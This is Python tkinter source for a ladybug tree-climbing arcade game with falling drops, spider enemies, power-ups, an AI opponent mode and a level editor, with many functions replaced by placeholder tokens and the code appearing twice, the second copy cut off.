'1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = 